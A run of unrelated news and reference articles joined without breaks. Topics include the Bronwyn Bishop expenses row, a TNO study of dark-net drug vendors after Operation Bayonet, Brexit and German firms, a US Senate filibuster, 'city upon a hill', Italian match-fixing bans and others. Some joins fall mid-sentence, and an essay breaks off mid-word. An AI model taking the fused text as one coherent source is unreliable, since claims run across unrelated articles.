Pressure is mounting on the prime minister, Tony Abbott, to ask Bishop to stand aside as Speaker, as revelations about her use of public money have dominated the news agenda for more than a fortnight.
Labor has been using the revelations to keep pressure on Abbott, with the opposition leader, Bill Shorten, saying the prime minister has to show leadership on the issue.
“He now needs to act because it is now paralysing the parliament of Australia,” he told reporters on Sunday.
Shorten said Labor was “open” to looking at reform of the entitlements system.
“What has happened with the Speaker Bronwyn Bishop and the protection racket being run by Tony Abbott of Speaker Bishop, well exceeds any of the debate about reform,” he said.
The agriculture minister, Barnaby Joyce, told Sky News on Sunday that he supports Bishop. The ongoing entitlements row could open a can of worms for other parliamentarians, he said.
“In this game, as you would know, you start throwing rocks and there won’t be a person left in the parliament because everybody will have some issues somewhere in the past that is difficult to explain,” he said.
Joyce defended Bishop’s use of taxpayer dollars to attend public events, saying she has “always been a high-profile identity”.
“If you want a crowd anywhere, invite Bronnie along and you’ll get a crowd,” he said. “She always, and still is, a big hit.”
On Sunday Fairfax Media reported that Bishop has cancelled plans to fly to New York at taxpayers’ expense later this month for a speakers’ summit. The event would have constituted official parliamentary business and was therefore within the guidelines.
“The Speaker was considering travelling to New York for that meeting but she has since decided not to,” Jones told Fairfax, adding that the decision had been made “in recent times”.
Labor has written to the Australian federal police asking it to reconsider its decision not to investigate Bishop over her use of public money to charter a helicopter between Melbourne and Geelong to attend a party fundraiser.
“I believe that the growing catalogue of misuse and the possible commission of serious offices warrants a police investigation,” the Labor spokesman on waste, Pat Conroy, wrote to the AFP’s assistant commissioner, Shane Connelly.
The independent MP Andrew Wilkie is pushing for Bishop to be investigated for fraud, after fresh allegations emerged on Saturday that she had spent $6,000 on chartering a luxury aircraft for a 160km trip between Sydney and Nowra in 2014.
“In my opinion, this is fraud and should be dealt with as a possible criminal matter,” Wilkie said.
Wilkie and a fellow crossbencher, the Palmer United party leader, Clive Palmer, will push on with a no-confidence motion against the Speaker when parliament resumes on August 10.
“She’s rorted the system and thumbed her nose at the Australian people,” Palmer told ABC TV’s Insiders program on Sunday.
Facebook Twitter Pinterest Clive Palmer says Bronwyn Bishop should ‘roll over and give a younger person a go’.
“The real issue here is that Bronwyn Bishop has lost the trust of the Australian people. If she can’t run her entitlements, how can Abbott run the country, that’s what people are saying,” he said. The prime minister had failed to remove Bishop as Speaker because he is “protecting his backside”.
Shorten said the opposition had lost confidence in Bishop, too. “On one level it doesn’t matter who moves the motion of no confidence. Labor has no confidence in the Speaker,” he said.
On Thursday Bishop apologised for misusing public money to charter the helicopter, but she refused to resign.
“I want to apologise to the Australian people for my error of judgment and to say sorry,” Bishop said. “You know, that helicopter, yes, I was short of time. But it is no excuse, and it was an error of judgment. And really, as I said, I want to apologise to the Australian people, becauseI feel I’ve let them down.”
Bishop dug in on the use of public money to attend the weddings of two colleagues, Sophie Mirabella and Teresa Gambaro, insisting they were “within the guidelines”, but offered to repay the money because she acknowledged it was not “a good look”.
She claimed that on both occasions she had meetings with unnamed sources in relation to her work as chair of the standing committee on families and human services in the same locations as the wedding.
Guardian Australia has revealed that Bishop claimed 15 separate trips as chair of the committee at times and locations when the committee had no public hearings listed.
Senior cabinet ministers, including the deputy leader, Julie Bishop, the treasurer, Joe Hockey, and the social services minister, Scott Morrison, have refused to publicly back the Speaker, but have agreed that apologising was the right thing for her to do.Of the dark net drug vendors who migrated from shut down marketplaces AlphaBay and Hansa Market to Dream Market, more than half didn’t go through the trouble of taking any evasive action, concludes Dutch research institute TNO.
Earlier this year, the FBI took over AlphaBay, an infamous dark web drug market, and subsequently took it down. This would not have been a big deal – law enforcement already brought down several dark web marketplaces – were it not for the fact that it was part of a larger coordinated action.
Messages left by law enforcement on the taken-down marketplaces
Operation Bayonet was designed to herd drug vendors to Hansa Market, another dark web marketplace. Hansa Market had previously been silently taken over by Dutch police, meaning they could nab all the data of migrating vendors and collect data on transactions before shutting it down as well.
Planning the operation like this was a smart move by law enforcement, since shutting down of dark net markets is known to lead to a kind of ‘waterbed-effect’ in which vendors and buyers simply migrate to other platforms. By staying one step ahead and keeping a popular compromised market online, law enforcement collected 10,000 postal addresses and tens of thousands of messages.
In an effort to evaluate the success of this operation, TNO kept the tally of how many vendors migrated from AlphaBay and Hansa Market to Dream Market, and “whether or not they changed their behavior after the police operation.”
Screencap from TNO’s report.
The researchers ended up with two main findings.
First, they found that while the takedown of AlphaBay in the beginning of July led a massive influx of vendors on Dream Market, the takedown of Hansa did not. What this probably means is that vendors were becoming wary of changing marketplace after finding out they could be compromised by law enforcement strategy – a resounding success for Operation Bayonet.
Second, and this is striking: Of the vendors that moved from either AlphaBay or Hansa (or both) to Dream Market, 54 percent didn’t even bother to change their username and PGP setups. The vendors, afraid of losing customers by giving up the reputation coupled to their username or PGP key, just moved their whole shop over to the new market. This is bad news for buyers, as the physical identity of vendors carries over and can potentially incriminate new buyers.
This did change after the sting was publicized. According to Rolf van Wegberg, who co-authored the study and spoke to TNW on the phone, the difference was striking. Suddenly, the amount of blank-slate new vendors on Dream Market shot up. Van Wegberg says they can’t conclusively prove that this means vendors were starting over – they could just be completely new vendors – but that they strongly suspect it’s the case.
The researchers will be keeping track of new vendors on Dream Market in the months to come, to find out if the effects of this type of intervention holds out in the long run.
Van Wegberg also told me of another interesting future investigation that could strike fear into the hearts of online drug vendors. Using text analysis, his team is going to try to match new vendors to old accounts, potentially linking blank-slate vendors to their previously, potentially compromised accounts by the way they communicate.
Read next: Growing role of AI in our lives is 'too important to leave to men'Stefan Rousseau PA Wire/PA Images
LONDON — German businesses are already delaying investments and pulling business out of the UK to mitigate Brexit uncertainty, the head of one of Germany's most prominent business lobby groups said.
In a joint statement with the British Chambers of Commerce, Dr Martin Wansleben, the CEO of the Association of German Chambers of Industry and Commerce (known as DIHK in German), said that Brexit is causing businesses to rethink their strategy when it comes to the UK.
"The terms of exit are still completely unclear. Many of our members are reporting that they are already shifting investments away from the UK in anticipation of these barriers," he said.
"Businesses are very concerned that Brexit will have a major negative impact. Not only it could lead to more trade barriers - additional bureaucracy, increased waiting time and stricter border controls resulting in higher costs."
While Brexit negotiations are currently focused on securing exactly how much Britain pays the EU as it leaves the bloc, and will then likely move onto Britain's membership of a customs arrangement of some sort with the EU27, businesses are growing increasingly concerned that not enough attention is being focused on their needs as talks progress.
Banks and financial services firms have been the most vocal about these concerns, with Peter Dixon, chief UK economist at Commerzbank — Germany's second biggest lender — saying earlier in August: "Companies are beginning to think about they're going to do in 12-18 months time. Banks certainly are, we've seen a lot of the banks think about the need possibly to set up offices in the EU," he said.
"That's just sort of the thin end of a wedge which other companies will have to think about as well."
In their joint statement, the DIHK and BCC warned that the impacts of Brexit are already being felt.
"The first effects of the Brexit vote are already being observed: German exports to the United Kingdom were down by 3 percent in the first half of this year compared to the first half of last year, whilst exports to the EU increased with 6 percent in the same period," Wansleben said.
"As Brexit talks continue, it's clear that companies in the UK and on the Continent all want economic issues to rise to the top of the negotiations agenda," BCC Director General Dr Adam Marshall said.
"There is real business appetite from both sides for a focus on practical, day-to-day business concerns, and a desire for clarity on future trading arrangements."
Trading arrangements are a hot-button issue right now, after the UK government published a position paper earlier in August that put forward an official plan to leave the customs union in March 2019 and negotiate a totally "new" customs relationship with the EU, which would "minimise disruption" and be as "frictionless" as possible.
The plans have been widely criticised, with numerous trade and policy experts saying that the plans are simply unrealistic and will not be able to create the so-called "frictionless" trade the government hopes to achieve.As expected, Senate Republicans filibustered legislation Thursday to simultaneously keep the federal government open and invest in infrastructure and housing projects — a significant setback for efforts to bridge budget disagreements and avert a shutdown this fall.
The vote was 54 in favor, 43 against, falling short of the 60 votes needed to move forward. The only member to cross party lines was Sen. Susan Collins (R-ME), who helped write the bill and urged colleagues not to block it — to no avail.
“It has been an open and transparent debate thus far, a return to regular order, something that I have heard virtually everyone here urge us to do,” she said. “Nevertheless, some senators are intent on preventing this legislation from moving forward, despite the fact that this bill is not the final version of the transportation and housing appropriations bill. It is only one step in the process but an essential step.”The crux of the disagreement is that Republican leaders insist on setting domestic spending at levels ordered by sequestration. Democrats, by contrast, want to replace the automatic, across the board cuts and instead set spending at levels agreed to in the 2011 Budget Control Act before sequestration slashes them further.
Six Republicans voted with Democrats on the higher spending levels when the bill was before the Appropriations Committee: Sens. Collins, Thad Cochran (MS), Lisa Murkowski (AK), Mark Kirk (IL), John Hoeven (ND) and Jerry Moran (KS), who chairs the Senate GOP’s election arm. But a concerted whipping effort by Senate Minority Leader Mitch McConnell (R-KY) compelled all but Collins to vote to filibuster the transportation, housing and urban development bill.
At a Capitol press conference immediately after the vote, Democrats, flanked by construction workers, fumed over the filibuster, accusing McConnell of arm-twisting his members and letting concerns about his reelection drive the outcome. The vote comes one day after House Republicans abruptly pulled THUD legislation from the floor, which cuts deeply into housing and transportation programs, after deciding it lacked the votes to pass.
“Shame on them,” cried Senate Majority Whip Dick Durbin (D-IL).
McConnell said afterward that his opposition was driven by a desire to “keep our word” on spending levels agreed to in 2011. TPM asked him if he’ll insist on keeping domestic spending at sequestration levels but he dodged the question, saying he wouldn’t negotiate publicly.
Democrats haven’t decided what they’ll do next. Lawmakers will go home this weekend and not return to Washington until September. The filibuster is a blow to the hopes of reaching an accord to keep the federal government open after funding runs out on Sept. 30, because the plan was to pass a bill through the Senate and pressure the House.
“It would be so unfortunate if we go home to our constituents in August and are forced to tell them that we’re unable to do our job,” Collins said before the vote."A City upon a Hill" is a phrase from the parable of Salt and Light in Jesus's Sermon on the Mount. In Matthew 5:14, he tells his listeners, "You are the light of the world. A city that is set on a hill cannot be hidden."
"A Model of Christian Charity" [ edit ]
This scripture was cited at the end of Puritan John Winthrop's lecture or treatise, "A Model of Christian Charity" delivered on March 21, 1630 at Holyrood Church in Southampton before his first group of Massachusetts Bay colonists embarked on the ship Arbella to settle Boston.[1][2] Winthrop warned his fellow Puritans that their new community would be "as a city upon a hill, the eyes of all people are upon us", meaning, if the Puritans failed to uphold their covenant with God, then their sins and errors would be exposed for all the world to see: "So that if we shall deal falsely with our God in this work we have undertaken and so cause him to withdraw his present help from us, we shall be made a story and a byword through the world". Winthrop's lecture was forgotten for nearly two hundred years until the Massachusetts Historical Society published it in 1838. It remained an obscure reference for more than another century until Cold War era historians and political leaders made it relevant to their time, crediting Winthrop's text as the foundational document of the idea of American exceptionalism.[3]
Use in United States politics [ edit ]
On 9 January 1961, President-Elect John F. Kennedy quoted the phrase during an address delivered to the General Court of Massachusetts:[4]
... I have been guided by the standard John Winthrop set before his shipmates on the flagship Arabella (sic) three hundred and thirty-one years ago, as they, too, faced the task of building a new government on a perilous frontier. "We must always consider", he said, "that we shall be as a city upon a hill—the eyes of all people are upon us". Today the eyes of all people are truly upon us—and our governments, in every branch, at every level, national, state and local, must be as a city upon a hill—constructed and inhabited by men aware of their great trust and their great responsibilities. For we are setting out upon a voyage in 1961 no less hazardous than that undertaken by the Arabella (sic) in 1630. We are committing ourselves to tasks of statecraft no less awesome than that of governing the Massachusetts Bay Colony, beset as it was then by terror without and disorder within. History will not judge our endeavors—and a government cannot be selected—merely on the basis of color or creed or even party affiliation. Neither will competence and loyalty and stature, while essential to the utmost, suffice in times such as these. For of those to whom much is given, much is required...[5]
On November 3, 1980, Ronald Reagan referred to the same event and image in his Election Eve Address "A Vision for America"
I have quoted John Winthrop's words more than once on the campaign trail this year—for I believe that Americans in 1980 are every bit as committed to that vision of a shining "city on a hill," as were those long ago settlers... These visitors to that city on the Potomac do not come as white or black, red or yellow; they are not Jews or Christians; conservatives or liberals; or Democrats or Republicans. They are Americans awed by what has gone before, proud of what for them is still… a shining city on a hill.[6]
and in his January 11, 1989, farewell speech to the nation:
I've spoken of the shining city all my political life, but I don't know if I ever quite communicated what I saw when I said it. But in my mind it was a tall, proud city built on rocks stronger than oceans, wind-swept, God-blessed, and teeming with people of all kinds living in harmony and peace; a city with free ports that hummed with commerce and creativity. And if there had to be city walls, the walls had doors and the doors were open to anyone with the will and the heart to get here. That's how I saw it, and see it still.[7]
U.S. Senator Barack Obama also made reference to the topic in his commencement address on June 2, 2006 at the University of Massachusetts Boston:[8]
It was right here, in the waters around us, where the American experiment began. As the earliest settlers arrived on the shores of Boston and Salem and Plymouth, they dreamed of building a City upon a Hill. And the world watched, waiting to see if this improbable idea called America would succeed. More than half of you represent the very first member of your family to ever attend college. In the most diverse university in all of New England, I look out at a sea of faces that are African-American and Hispanic-American and Asian-American and Arab-American. I see students that have come here from over 100 different countries, believing like those first settlers that they too could find a home in this City on a Hill—that they too could find success in this unlikeliest of places.
In 2016, 2012 Republican presidential candidate Mitt Romney incorporated the idiom into a condemnation of Donald Trump's 2016 presidential campaign:
His domestic policies would lead to recession; his foreign policies would make America and the world less safe. He has neither the temperament nor the judgment to be president, and his personal qualities would mean that America would cease to be a shining city on a hill.[9]
During the 2016 presidential race, Texas Senator Ted Cruz used the phrase during his speech announcing the suspension of his campaign.[10] President Barack Obama also alluded to President Ronald Reagan's use of the phrase during his speech at the Democratic National Convention the same year, as he proposed a vision of America in contrast to that of Republican presidential candidate Donald Trump.[11]
In 2017, former FBI Director James Comey used the phrase in testimony before the Senate Intelligence Committee:[12]
Use in Australian politics [ edit ]
In Australian politics, the similar phrase "the light on the hill" was famously used in a 1949 conference speech by then Prime Minister Ben Chifley, and as a consequence this phrase is used to describe the objective of the Australian Labor Party. It has often been referenced by both journalists and political leaders in that context since this time.[citation needed]
See also [ edit ]
References [ edit ]A cake company ruined Skepta’s big day on Saturday by posting a photo of his surprise birthday cake.
As SBTV spotted, Cake Create shared a pic of the MC’s specially made Boy Better Know cake on Instagram and even tagged him in the post, much to the annoyance of his family and BBK crew.
“WOW! This was supposed to be a surprise,” wrote Skepta’s sister and Beats 1 presenter Julie Adenuga in the photo’s comments.
Jammer added: “Fam he ain’t even seen the cake yet you ruined his birthday!! You should not be posting this its unprofessional. And I will be taking further action.”
The fuck-up didn’t ruin Skepta’s big day, though. “Thank you for the birthday cards, messages and presents,” he later wrote on Instagram. “What a fucking year, absolute mad ting. Unconditional love for everybody that shared positive energy with me, I pray for a progressive, ego free, happy year with you all. Love <3”
Happy birthday Skepta!Perhaps surprising to those who would insist on a gentle approach to rehabilitation, some of the people in these groups recover from their addictions, an outcome often attributed to strength of personal desire. But common “cult” stereotypes have also dogged these groups and led to suspicion of financial exploitation. Since the Korean War, alternative movements from Communism to the Hare Krishnas have been accused of brainwashing—namely, of imposing an alien identity on unwilling members, who then become prey to a nefarious purpose. Although the phenomenon of brainwashing has been academically discredited, this “cult” narrative perseveres, and it’s attached itself to these unlicensed rehab groups largely because of their practice of confiscating participants’ documents.
But those who would further exoticize the rehab techniques may not be aware of relatively recent parallels between these groups’ shaming rituals and those of a much less stigmatized group: pre-Vatican II Roman Catholic monastics. Prior to mid-20th century reforms, purposefully humbling verbal and physical rituals were relatively common in convents across the world, as many popular ex-nun memoirs relate. For example, in her memoir Through a Narrow Gate, the one-time nun Karen Armstrong recounts a special penance in which she was compelled to crawl beneath the table at mealtime to kiss the sisters’ feet, with their “bunions” and “taste of boot polish.”
Such practices have dwindled in recent years, out of concern for negative emotional consequences and an increased emphasis on developing personal independence. Even so, these rituals occasionally resurface—in the mid-1990s, for instance, the cloister of the famed televangelist Mother Angelica reinstituted the custom of public self-accusation.
Thus, some unlicensed rehab groups appear to have independently reinvented time-honored Christian methods, developed to help a person conform to some ideal: For monasteries, the ideal is a humble, Christlike person obedient to divine will; for rehab groups, the ideal is a reformed individual cured of his or her addiction.
Tellingly, rehab groups and monasteries both attempt their transformations within the context of all-encompassing environments—the “total institution” setting described by the sociologist Erving Goffman in his classic 1961 book Asylums. Personal identity is formed over the course of a lifelong give-and-take conversation with society, Goffman asserts, but this process is accelerated in the regimented 24/7 milieus that range from mental asylums and jails to boarding schools and convents. Hence, the multi-week confinement of addicts in dilapidated buildings may be a low-rent version of a long-standing approach to shaping character.
That said, this same social environment gives justifiable cause for concern, especially over the organizations’ potential for intra-group violence. Within the hermetic and socially intense context of a total institution, behavioral norms can form without checks and balances from the outside culture, and may shift more easily towards the harmful. Research indicates that large-scale violence of the kind found at Jonestown or Waco depends on apocalyptic, “us vs. them” ideologies in addition to isolation—but total institutions like 24/7 rehab centers can produce smaller-scale violence. For example, two teenage members of upstate New York’s reclusive Word of Life Christian Church were severely beaten during a tribunal turned violent this past fall; one died from his wounds.Because he’s refused to release more than two years of tax returns, and has rooted his entire campaign in tax, spending, and economic growth plans that lack critical details and defy logical scrutiny, Mitt Romney’s critics, starting with senior Obama advisers, have assailed him as the least transparent candidate since Richard Nixon.
It’s a catchy attack — one that recalls not just Nixon’s candidacies, but his scandal-plagued presidency and ignominious resignation. Which is no doubt why “least transparent candidate since Nixon” has become one of Chicago’s favorite phrases.
But setting aside the Obama campaign’s partisan desire to make voters think of Watergate when they hear the name Mitt Romney, there’s something to the notion that Romney is unusually opaque compared to presidential candidates in the modern era, according to some presidential historians.“I think the comparison to Nixon is not a very good one, because … Nixon may have been a shadier character in some respects — the Southern strategy, laundering campaign money — but he abided by the norms of the time in terms of disclosure,” said Norm Ornstein, a political scientist at the American Enterprise Institute.
Candidates in earlier decades inhabited different political cultures, faced different pressures and different media. In some ways, those differences have made it harder for Romney to get by on a purely superficial appeal to voters. But Ornstein said despite new challenges, Romney stands alone as the least-known quantity to be within grasping distance of the White House in the modern era.
“I think there’s nobody like Romney,” Ornstein. “Romney is like the Michael Phelps of presidential candidates. if you’re looking for gold medals in terms of audacious lying, and adamant refusal to turn over personal information, nobody comes close. I’m sure others would’ve liked to have done it, but the culture in the past was one where lying attracted some level of approbation and shame.”
To Bruce Buchanan, a presidential historian at the University of Texas at Austin, Romney’s drawn attention to himself in a unique way.
“Just the fact of avoiding specifics is not all that unusual,” he said. “The fact of doing it in the context of claims that other analysts conclude don’t add up and not being willing to address those concerns, is a little less common in my memory at least.”
Romney’s fiscal policies remind Buchanan of Nixon’s 1968 campaign, in which he pledged to end the war in Vietnam without providing details — what came to be known as his “secret plan.” Likewise, after winning his first election in 1980 on fairly specific pledges to reduce deficits, cut social programs, and increase defense spending, Ronald Reagan glided to re-election in 1984 largely on the winds of an improving economy.
“In the second campaign it was all gauzy,” Buchanan said.
But that was after Reagan, like Obama, had amassed a four-year record.
“Not many have been as under as much scrutiny as Romney because he’s saying he can do things that on the face of it seem illogical and un-doable, and that creates more pressure on him to provide specifics,” Buchanan said. “That’s what’s different about Romney.”
Of course, the history of presidential politics is littered with candidates who understood the perils of getting too specific.
Not all historians place Romney in historically uncharted territory.
“I feel that Romney has disclosed a bit less than usual, but again, I’m not sure we are in unprecedented territory,” says Edward Widmer, a historian and one time speechwriter for Bill Clinton. “You mention Nixon’s secret plan for Vietnam was an interesting example of a vague promise that sounded good, without many details offered. Eisenhower also hit a good way of talking about the Korean War in 1952 when he simply said, ‘I will go to Korea,’ though no one knew exactly what that meant.”
To Widmer’s point, Romney is by no means the first to run on unrealistic fiscal plans.
“You could go back to a bunch of candidates talking about tax cuts bringing in more revenue,” Ornstein said. “I think George W. Bush is pretty close to the top of that list. I suppose you can talk about Lyndon Johnson campaigning on ‘guns and butter'” — the idea that Vietnam War costs didn’t have to be offset with higher taxes or cuts to domestic spending.
“But they don’t come close to Romney,” Ornstein added.
Romney’s been pretty candid — to friendly sources — about why he’s been so platitudinous.
“One of the things I found in a short campaign against Ted Kennedy was that when I said, for instance, that I wanted to eliminate the Department of Education, that was used to suggest I don’t care about education,” Romney told the conservative Weekly Standard in April. “So I think it’s important for me to point out that I anticipate that there will be departments and agencies that will either be eliminated or combined with other agencies….but I’m not going to give you a list right now.”
“I can’t remember anyone being that bald faced on it off the top of my head,” Buchanan told me. “I suspect it was like that 47 percent comment — it wasn’t intended for a wide audience. It just got picked up and reported.”
The other side of the coin is that Romney’s life story — his youth, his early career, his governorship, if not his finances — are plain to everybody in a way that wasn’t possible half a century ago.
“I will say that from a historical perspective, Romney is an open book,” says H.W. Brands, also a presidential historian at UT Austin. “All candidates these days are. Not as open, perhaps, as the media would wish. They, for understandable reasons, want everything. But we know a whole lot more about Romney than about, say, John Kennedy.”Gillet banned for 43 months!
By Football Italia staff
Torino goalkeeper Jean Francois Gillet has been banned for three years and seven months for suspected match fixing.
The Belgium international is the most high profile player who faced sporting fraud charges relating to Bari 0-1 Treviso in May 2008 and Salernitana 3-2 Bari from May 2009.
Now 34, the former Bari shot-stopper’s career may have come to a premature conclusion.
A total of 20 men have also faced sanctions this morning from the disciplinary panel of the Italian Football Federation.
Massimo Ganci and Cosimo D’Angelo have been stopped for four years, while Gianluca Galasso has received the same treatment as Gillet.
Raffaele Bianco, Simone Bonomi, Francesco Caputo, Daniele De Vezze, Luca Fusco, Stefano Guberti, Vitali Kutuzov, Alessandro Parisi, Ivan Rajcic and Vincenzo Santoruvo have been banned for three years and six months.
Nicola Belmonte, Massimo Bonanni, Corrado Colombo, Mariano Martin Donda, Santiago Ladino and Vitangelo Spadavecchia face six-month suspensions.
Nicola Strambelli and Willian Pianu have been cleared.
Bari will be docked a point for 2013-14.
A number of individuals also plea-bargained. They were Cristian Stellini (6 months), Nicola Santoni (9 months), Alessandro Gazzi (3 months and 10 days), Simone Cavalli (4 months), Marco Esposito (20 months), Andrea Masiello (3 months and 15 days), Paulo Vitor de Souza Barreto and Giovanni Marchese (3 months and 10 days), Davide Lanzafame (16 months).Donald Trump has attacked China for using underhanded means to boost its exports at America's expense. But right now, the view from Beijing isn't looking so rosy.
Chinese exports fell 2% last year, according to official data released Friday. That's the biggest annual decline since 2009.
Exports to the U.S. held up better -- they were virtually unchanged from 2015 -- but China's overall trade surplus declined last year for the first time since 2011.
Chinese officials say they're worried about the months ahead, with protectionist rhetoric on the rise from President-elect Trump and other leaders.
"The trend of anti-globalization is increasingly obvious and China has become its biggest victim," said Huang Songping, a spokesman for the Chinese customs agency that reports the country's trade data.
Related: Just how far will Trump go on China and Mexico?
Some economists are also pessimistic.
"It's hard to see conditions becoming much more favorable to Chinese trade than they already are," said Julian Evans-Pritchard, a China expert at Capital Economics. "The likelihood of a damaging trade spat between China and the U.S. has risen in recent weeks following Trump's appointment of hardliners to lead U.S. trade policy."
Trump is set to be inaugurated next week and has said he plans to kick off his presidency by labeling a China currency manipulator. That's largely a symbolic move, but analysts say it could escalate a confrontation with Beijing over trade.
China has, in fact, been spending hundreds of billions of dollars recently to buy its own currency and stop it falling too rapidly, rather than devaluing the yuan to boost exports.
Trump's trade team includes Peter Navarro, an economist who directed a documentary titled: "Death By China: How America lost its manufacturing base;" and Robert Lighthizer, who was part of a Reagan administration trade team that imposed protectionist measures.
Chinese state media have reacted with dismay to those appointments, but government officials have continued to stress the mutual benefits of trade between the world's two largest economies.
Related: China is no longer the biggest foreign holder of U.S. debt
Trump has already strained the relationship between Washington and Beijing by suggesting that the highly sensitive matter of U.S. policy on Taiwan could be used as leverage to "make a deal with China" on trade and other issues.
-- Steven Jiang contributed to this report.Spring 2002
Can There Be a Decent Left?
By Michael Walzer, co-editor
Leftist opposition to the war in Afghanistan faded in November and December of last year, not only because of the success of the war but also because of the enthusiasm with which so many Afghanis greeted that success. The pictures of women showing their smiling faces to the world, of men shaving their beards, of girls in school, of boys playing soccer in shorts: all this was no doubt a slap in the face to leftist theories of American imperialism, but also politically disarming. There was (and is) still a lot to worry about: refugees, hunger, minimal law and order. But it was suddenly clear, even to many opponents of the |
-payer, come out against tax cuts for the 1 percent, and generally attacked corporate greed — all of which come out of the Sanders playbook, rather than seeing the party’s best pick-up opportunities in the wealthy “Panera” suburbs where Clinton made inroads and where Georgia Democrat Jon Ossoff hopes to win.
But Quist's platform doesn't exactly amount to full democratic socialism, either. His website is full of generic praise for small businesses and "the entrepreneurial spirit," calling for the end of "unnecessary red tape" to "build up Montana's high tech energy." His energy policy, in a state where fracking is big, is far to the right of Sanders's — he's called on the use of Montana's natural resources, including coal.
A Quist win may give some support to the idea that Sanders-style populism can help reinvigorate Democrats among the white working class. The make-up of that economic populism, however, may wind up looking different in states like Montana than it does in Vermont.Image copyright AFP Image caption Chios, Greece: Every day thousands risk their lives on voyages to Greek islands
Three million migrants are likely to arrive in Europe by 2017 as the record influx via the Mediterranean continues, the European Commission says.
The EU's executive arm said the influx would have a "small but positive" effect on EU economic output, raising GDP by 0.2-0.3%.
The influx will raise the EU population by 0.4%, the Commission forecasts, taking account of failed asylum claims.
The flow of Syrian refugees to Europe shows no sign of abating, the UN says.
The weather in the Aegean Sea has got rougher with the onset of winter. But Peter Sutherland, UN Secretary-General Ban Ki-moon's special representative on migration, said Syrians were not put off by that.
The Syrian war "is driving people to desperation in terms of leaving and it will continue in its effects", he told the BBC.
"This is now a global responsibility, but it is a particular European responsibility," he said.
'5,000 daily'
Conflicts and abuses in Iraq, Afghanistan, Eritrea and Somalia are also pushing people towards Europe.
The flow of refugees and other migrants from Turkey to Greece is expected to continue at a rate of 5,000 daily this winter, the UN refugee agency UNHCR says.
Image copyright AP Image caption On Wednesday the EU began relocating some Syrian refugees from Greece to Luxembourg
Delivering the EU's autumn economic forecast, EU Economic Commissioner Pierre Moscovici said extra public spending and the extra labour supply from recognised refugees would lead to a small GDP rise in the EU as a whole.
However, the Commission cautioned that "the uncertainty surrounding the influx thus far and its future development is substantial".
'Dire prediction'
Commenting on the three million figure given by the Commission, UKIP leader Nigel Farage said "nothing illustrates the need to be out of the EU and to restore proper border controls more than this dire prediction".
The UK Independence Party says that inside the EU the UK is powerless to stop immigration from other EU countries.
The Commission said the figure of three million was an assumption rather than a prediction and included those who had already arrived in 2015.
UN refugee officials say more than 750,000 migrants have arrived in the EU by sea this year, up from 282,000 in total in 2014.
The vast majority have arrived in Greece (608,000), which has become the most common destination. Some 140,000 have arrived in Italy in 2015.
Most of the migrants head for Germany, hoping to get asylum there. German officials say their country is likely to host at least 800,000 new migrants this year, and the total could reach 1.5 million.
Sweden has the highest share of refugees per head of population in the EU. The extra cost in public spending is likely to be nearly 0.5% of GDP this year, the Commission says, adding that "the corresponding positive effects on growth would be somewhat smaller".
A note on terminology: The BBC uses the term migrant to refer to all people on the move who have yet to complete the legal process of claiming asylum. This group includes people fleeing war-torn countries such as Syria, who are likely to be granted refugee status, as well as people who are seeking jobs and better lives, who governments are likely to rule are economic migrants.WASHINGTON — The White House is facing a budding revolt over its carefully crafted strategy for repeal of the ban on gays serving openly in the military that would have pushed the decision past the November election.
Democrats in the House and Senate — including two key lawmakers from Colorado — say they are unwilling to wait for completion of a 10-month Pentagon study on repeal of the policy known as “don’t ask, don’t tell” and are instead moving to include immediate repeal in the defense reauthorization bill, scheduled for mark-up next month.
Sen. Mark Udall, D-Colo., among the Democrats on the Senate Armed Services Committee backing the move, said the committee was “within a vote or two” of including repeal in the must- pass legislation. He met with three discharged members of the military Tuesday, using their stories to highlight the need for repeal this year.
Rep. Jared Polis, a Boulder Democrat and one of three openly gay members of Congress, holds a key position on the Rules Committee that he is willing to use to insert a similar provision in the House version of the spending bill, he said Tuesday.
Congressional aides said both approaches are likely to face opposition from the White House, which in February laid a timetable built around an extensive Pentagon study that won’t be completed until Dec. 1, pushing a final move on the contentious issue past what’s expected to be Democrats’ toughest election cycle in years.
3 tales of careers ended
But the White House is facing pushback on several fronts at once. On Monday, repeal activists heckled President Barack Obama for several minutes at a fundraiser for Sen. Barbara Boxer in California.
“The sooner we can end this policy, the better,” Polis said. “There have been plenty of studies about this policy and how it continues to weaken our military every day that it exists.”
The three former military personnel gathered in Udall’s Senate office Tuesday each had stellar careers cut short when officials discovered they were gay.
Mike Almy was an Air Force major commanding a sensitive communications unit in the Middle East when a colleague discovered personal e-mails sent to relatives back home. After a 16-month investigation, he was discharged and escorted from the base by police “as if I were a common criminal or a threat to national security,” he said.
David Hall spent five years loading bombs and missiles on F-15 fighter jets when he was accepted into an officer-training program, with a chance to become a fighter pilot. Ranked No. 1 in his cadet class, he was discharged when a female cadet told his superiors he was gay.
Stacey Vasquez had a career as a distinguished noncommissioned officer, including being named the top recruiter in the Army. It ended when a colleague’s wife saw her kissing another woman in a club in Dallas, she said.
“Once I was discharged, I remember a distinct feeling as I was driving away from Fort Hood thinking, How could my country let me down like this?” Vasquez said.
“How could I give 12 years, how could I go out and tell kids how great the service was, and then one day — due to no misconduct — my country tells me that I’m not a valuable asset?” she said.
Udall cited the record of each and called repeal “the most common-sense step we could take to enhance our national security.”
Backers’ strategy
Opponents of repealing don’t ask, don’t tell, which allows gays to serve in the military as long as their sexual orientation remains a secret, make the opposite argument: Allowing homosexuals to serve openly in the military presents of risk of significant disruption in the midst of fighting two wars.
Sen. Carl Levin, D-Mich., who chairs the Senate Armed Services Committee, supports including immediate repeal in the defense spending bill, aides said, a strategy that would require a super majority of 60 votes to remove it. Two or three Democrats on the committee are opposed, which means supporters will have to pick up some Republican allies.
But the most significant factor may be how far the White House is willing to go in opposing the idea.
“I’m going to push everybody possible to see this happens this year. We’ve had this discussion long enough,” Udall said.
“The Pentagon has taken some big forward steps that they’ve never been willing to take,” he said. “I don’t under estimate the steps they’re taking, but in the end we need to change the law.”
Michael Riley: 303-954-1614 or mriley@denverpost.comDespite concerns over Donald Trump’s decision to bring his family into his White House inner circle, experts says critics have few ways to stop him
President-elect Donald Trump’s decision to bring his children into his inner circle, alongside far-right adviser Stephen Bannon, has provoked concerns about nepotism, ethics and national security, and experts worry he will go unchecked in office.
Trump can easily ignore calls to act otherwise, experts say, and critics will have few options even after he assumes the Oval Office.
Donald Trump's cabinet nominations: what we know so far Read more
On Thursday, his transition team handed out official photographs showing Trump with Japanese prime minister Shinzo Abe, in the gilded rooms and hallways at Trump Tower in New York. His elder daughter, Ivanka, and her husband Jared Kushner were in tow, neither of whom have national government security clearance. The photo coincided with news that Kushner has sought legal advice on whether he could join the Trump administration, a move that could violate federal anti-nepotism law and risk legal challenges and political backlash, according to the New York Times.
